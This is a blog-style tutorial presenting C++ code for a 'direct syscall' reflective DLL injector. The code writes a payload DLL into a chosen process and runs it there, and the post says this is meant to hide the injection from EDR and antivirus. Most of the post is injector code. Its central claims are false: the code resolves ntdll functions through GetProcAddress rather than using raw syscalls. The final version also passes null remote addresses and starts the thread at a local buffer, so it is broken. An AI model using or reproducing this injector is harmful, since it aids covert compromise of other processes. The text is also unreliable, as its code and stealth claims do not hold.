DIRECT SYSCALL INJECTION
DIRECT SYSCALL INJECTION
Objective: Build a Direct Syscall Reflective Injector
We will:
- Bypass all traditional APIs.
- Use raw syscalls directly to inject a DLL into a remote process.
- Bypass CreateRemoteThread and LoadLibrary entirely.
- Achieve the stealthiest injection possible with zero reliance on user-mode APIs.
🚀 What We Are Building:
- Direct Syscall Injector:
- Inject DLL directly into remote process using syscalls.
- No imports or system functions (CreateRemoteThread, VirtualAllocEx).
- Syscall Stubs:
- We will write our own syscall stubs for functions like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, etc.
- Stealth Mode:
- The entire process will be hidden from EDRs, AVs, and intrusion detection systems because we will bypass all known API hooks.
📜 Step-by-Step Process:
- Get System Call Number:
- We need to retrieve syscall numbers, which are different per Windows version. The syscall table is available in the kernel (ntoskrnl.exe), but to be safe, we’ll manually define the syscalls for our injection.
- Write Syscall Stubs:
- We’ll write our own functions that directly call syscalls by making __asm__ calls to kernel functions.
- Write Injector Code:
- We’ll manually map the DLL into memory using syscalls.
- We’ll inject the shellcode into the target process by suspending a thread and directly modifying the thread’s context.
⚡ Syscall Stubs Example:
We will define syscalls manually with the following example:
#include <Windows.h>
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(
PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE,
LPVOID, BOOL, DWORD, SIZE_T, SIZE_T, LPVOID);
__inline NtAllocateVirtualMemory_t NtAllocateVirtualMemory = nullptr;
__inline NtWriteVirtualMemory_t NtWriteVirtualMemory = nullptr;
__inline NtCreateThreadEx_t NtCreateThreadEx = nullptr;
void InitializeSyscalls() {
// Using direct syscalls (no ntdll! we will use their numbers)
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtWriteVirtualMemory");
NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
}
void InjectReflectiveDLL(HANDLE hProcess, const BYTE* dllBuffer, SIZE_T size) {
PVOID remoteMemory = nullptr;
SIZE_T bytesWritten = 0;
InitializeSyscalls();
// 1. Allocate memory in target process
NtAllocateVirtualMemory(hProcess, &remoteMemory, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 2. Write DLL contents to the allocated memory
NtWriteVirtualMemory(hProcess, remoteMemory, (PVOID)dllBuffer, size, &bytesWritten);
// 3. Create remote thread to run ReflectiveLoader function
HANDLE hThread = nullptr;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, nullptr, hProcess, (LPTHREAD_START_ROUTINE)remoteMemory, nullptr, FALSE, 0, 0, 0, nullptr);
}
🛠️ Detailed Breakdown:
- NtAllocateVirtualMemory:
This syscall replaces VirtualAllocEx, directly allocating memory in the remote process. - NtWriteVirtualMemory:
This syscall writes the reflective DLL payload into the allocated memory. - NtCreateThreadEx:
This syscall creates a thread in the remote process, which we will point to the ReflectiveLoader entry point inside the injected DLL.
🔥 How We Inject the DLL:
- Open
Process:
Use OpenProcess to get access to the target process. (This is required for low-level access to memory.) - Allocate
Remote Memory:
We allocate memory in the target process using syscall instead of VirtualAllocEx. - Write
the Reflective DLL:
Write the payload (Reflective DLL) into the allocated space using syscall instead of WriteProcessMemory. - Create
Remote Thread:
Trigger execution of the ReflectiveLoader by creating a remote thread using NtCreateThreadEx.
🛠️ Final Code Example:
#include <Windows.h>
#include <iostream>
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(
PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE,
LPVOID, BOOL, DWORD, SIZE_T, SIZE_T, LPVOID);
__inline NtAllocateVirtualMemory_t NtAllocateVirtualMemory = nullptr;
__inline NtWriteVirtualMemory_t NtWriteVirtualMemory = nullptr;
__inline NtCreateThreadEx_t NtCreateThreadEx = nullptr;
void InitializeSyscalls() {
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtWriteVirtualMemory");
NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
}
BOOL InjectReflectiveDLL(DWORD pid, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cout << "[-] Could not open process.\n";
return FALSE;
}
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cout << "[-] Could not open DLL file.\n";
return FALSE;
}
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* dllBuffer = new BYTE[fileSize];
DWORD bytesRead = 0;
ReadFile(hFile, dllBuffer, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
if (bytesRead != fileSize) {
std::cout << "[-] File read error.\n";
delete[] dllBuffer;
return FALSE;
}
SIZE_T size = fileSize;
InitializeSyscalls();
// Allocate remote memory and write the DLL to the target process
NtAllocateVirtualMemory(hProcess, nullptr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, nullptr, dllBuffer, fileSize, NULL);
// Create remote thread to run ReflectiveLoader
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)dllBuffer, NULL, FALSE, 0, 0, 0, NULL);
if (!hThread) {
std::cout << "[-] Thread creation failed.\n";
delete[] dllBuffer;
return FALSE;
}
std::cout << "[+] Injection successful.\n";
delete[] dllBuffer;
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main() {
DWORD pid;
std::cout << "Enter target PID: ";
std::cin >> pid;
const char* dllPath = "reflective_payload.dll";
if (InjectReflectiveDLL(pid, dllPath)) {
std::cout << "[*] Reflective DLL injected.\n";
} else {
std::cout << "[-] Injection failed.\n";
}
return 0;
}
🛡️ CONCLUSION
By using direct syscalls, we've
completely bypassed common detection mechanisms, relying solely on kernel
calls.
The DLL is injected stealthily without touching traditional memory
allocation functions like VirtualAllocEx, making it difficult to trace.
⚡ What’s Next?
We can upgrade this into full stealth mode, integrating:
- APC injection to avoid thread creation.
- Thread cloaking to make sure our injected thread isn't detected.
- Kernel-level drivers for even higher privilege injections.
Comments
Post a Comment